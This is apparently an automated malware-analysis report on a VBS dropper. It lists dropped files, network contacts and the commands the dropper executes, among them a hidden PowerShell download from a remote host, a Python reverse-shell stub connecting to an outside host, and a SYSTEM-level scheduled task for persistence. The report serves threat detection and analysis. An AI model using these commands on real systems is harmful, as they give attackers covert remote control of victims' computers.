Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\startpy
Malicious functions
Downloads
- http://fr#z.ga/payloads/python-3.8.9-embed-amd64.zip as %allusersprofile%\python389\python-3.8.9-embed-amd64.zip
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\python389\python-3.8.9-embed-amd64.zip
- %ProgramFiles%\python\_msi.pyd
- %ProgramFiles%\python\_multiprocessing.pyd
- %ProgramFiles%\python\_overlapped.pyd
- %ProgramFiles%\python\_queue.pyd
- %ProgramFiles%\python\_socket.pyd
- %ProgramFiles%\python\_sqlite3.pyd
- %ProgramFiles%\python\libcrypto-1_1.dll
- %ProgramFiles%\python\select.pyd
- %ProgramFiles%\python\libffi-7.dll
- %ProgramFiles%\python\libssl-1_1.dll
- %ProgramFiles%\python\sqlite3.dll
- %ProgramFiles%\python\python38.zip
- %ProgramFiles%\python\python38._pth
- %ProgramFiles%\python\python.cat
- %ProgramFiles%\python\_lzma.pyd
- %ProgramFiles%\python\_hashlib.pyd
- %ProgramFiles%\python\_elementtree.pyd
- %ProgramFiles%\python\_decimal.pyd
- %ProgramFiles%\python\_ctypes.pyd
- %ProgramFiles%\python\_bz2.pyd
- %ProgramFiles%\python\_asyncio.pyd
- %ProgramFiles%\python\winsound.pyd
- %ProgramFiles%\python\unicodedata.pyd
- %ProgramFiles%\python\_ssl.pyd
- %ProgramFiles%\python\pyexpat.pyd
- %ProgramFiles%\python\license.txt
- %ProgramFiles%\python\vcruntime140_1.dll
- %ProgramFiles%\python\vcruntime140.dll
- %ProgramFiles%\python\python3.dll
- %ProgramFiles%\python\python38.dll
- %ProgramFiles%\python\pythonw.exe
- %ALLUSERSPROFILE%\process\startpy.bat
- %ALLUSERSPROFILE%\process\rat.py
Network activity
Connects to
- 'fr#z.ga':80
UDP
- DNS ASK fr#z.ga
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c mkdir %ALLUSERSPROFILE%\python389' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c mkdir %ALLUSERSPROFILE%\process' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -nologo -noprofile -command "& {(New-Object System.NET.Webclient).DownloadFile('http://fr#z.ga/payloads/python-3.8.9-embed-amd64.zip','%ALLUSERSPROFILE%\python389\python-3.8.9-emb...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -nologo -noprofile -command "$shell = New-Object -COM Shell.Application;$target = $shell.NameSpace('%ALLUSERSPROFILE%\python389');$zip = $shell.NameSpace('%ALLUSERSPROFILE%\python...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo FOR /L %%A IN (1,1,200) DO (if exist %ALLUSERSPROFILE%\python389\python.exe (%ALLUSERSPROFILE%\python389\python.exe "%ALLUSERSPROFILE%\process\rat.py")else (timeout /t 3)) > %ALLUSERSPR...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo exec("""\nimport socket\nimport os\nimport subprocess\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect(('friz.ga', 7676))\nsock.send(b'c\\r\\n')\n\nwhile 1:\n ...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /F /ru "SYSTEM" /sc onlogon /tn StartPy /rl highest /tr "\"%ALLUSERSPROFILE%\process\startPy.bat"\"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /run /I /TN StartPy' (with hidden window)
Executes the following
- '<SYSTEM32>\wscript.exe' "<PATH_SAMPLE>.vbs" /elevate
- '<SYSTEM32>\cmd.exe' /c mkdir %ALLUSERSPROFILE%\python389
- '<SYSTEM32>\cmd.exe' /c mkdir %ALLUSERSPROFILE%\process
- '<SYSTEM32>\cmd.exe' /c powershell -nologo -noprofile -command "& {(New-Object System.NET.Webclient).DownloadFile('http://fr#z.ga/payloads/python-3.8.9-embed-amd64.zip','%ALLUSERSPROFILE%\python389\python-3.8.9-emb...
- '<SYSTEM32>\cmd.exe' /c powershell -nologo -noprofile -command "$shell = New-Object -COM Shell.Application;$target = $shell.NameSpace('%ALLUSERSPROFILE%\python389');$zip = $shell.NameSpace('%ALLUSERSPROFILE%\python...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -noprofile -command "$shell = New-Object -COM Shell.Application;$target = $shell.NameSpace('%ALLUSERSPROFILE%\python389');$zip = $shell.NameSpace('%ALLUSERSPROFILE%\python389\python-3.8...
- '<SYSTEM32>\cmd.exe' /c echo FOR /L %%A IN (1,1,200) DO (if exist %ALLUSERSPROFILE%\python389\python.exe (%ALLUSERSPROFILE%\python389\python.exe "%ALLUSERSPROFILE%\process\rat.py")else (timeout /t 3)) > %ALLUSERSPR...
- '<SYSTEM32>\cmd.exe' /c echo exec("""\nimport socket\nimport os\nimport subprocess\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect(('friz.ga', 7676))\nsock.send(b'c\\r\\n')\n\nwhile 1:\n ...
- '<SYSTEM32>\cmd.exe' /c schtasks /create /F /ru "SYSTEM" /sc onlogon /tn StartPy /rl highest /tr "\"%ALLUSERSPROFILE%\process\startPy.bat"\"
- '<SYSTEM32>\cmd.exe' /c schtasks /run /I /TN StartPy
- '<SYSTEM32>\schtasks.exe' /run /I /TN StartPy
- '<SYSTEM32>\schtasks.exe' /create /F /ru "SYSTEM" /sc onlogon /tn StartPy /rl highest /tr "\"%ALLUSERSPROFILE%\process\startPy.bat"\"
